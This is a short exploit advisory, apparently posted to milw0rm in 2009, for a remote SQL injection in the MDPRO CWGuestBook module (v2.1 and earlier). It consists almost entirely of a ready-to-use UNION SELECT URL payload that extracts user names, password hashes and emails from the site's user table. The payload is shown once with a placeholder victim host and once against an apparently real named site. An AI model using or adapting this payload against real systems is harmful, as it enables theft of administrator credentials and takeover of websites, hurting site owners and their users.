21 lines
No EOL
1.2 KiB
Text
21 lines
No EOL
1.2 KiB
Text
######################################################################################
|
|
# #
|
|
# Author: Dante90, WaRWolFz Crew #
|
|
# Title: [0-Day] MDPRO CWGuestBook <= v2.1 Mod Remote SQL Injection By Dante90 #
|
|
# MSN: dante90.dmc4@hotmail.it #
|
|
# Web: www.warwolfz.org #
|
|
# #
|
|
######################################################################################
|
|
|
|
[0-Day] MDPRO CWGuestBook <= v2.1 Mod Remote SQL Injection By Dante90
|
|
|
|
[code]
|
|
http://www.victime_site.org/modules.php?op=modload&name=CWGuestBook&file=index&req=viewrecords&rid=-14 UNION SELECT 1,pn_uname,pn_pass,pn_email,5,pn_uid,7,8,9 FROM md_users WHERE pn_uid=2--
|
|
[/code]
|
|
|
|
Example:
|
|
[code]
|
|
http://www.lacinium.com/modules.php?op=modload&name=CWGuestBook&file=index&req=viewrecords&rid=-14 UNION SELECT 1,pn_uname,pn_pass,pn_email,5,pn_uid,7,8,9 FROM md_users WHERE pn_uid=2--
|
|
[/code]
|
|
|
|
# milw0rm.com [2009-06-30] |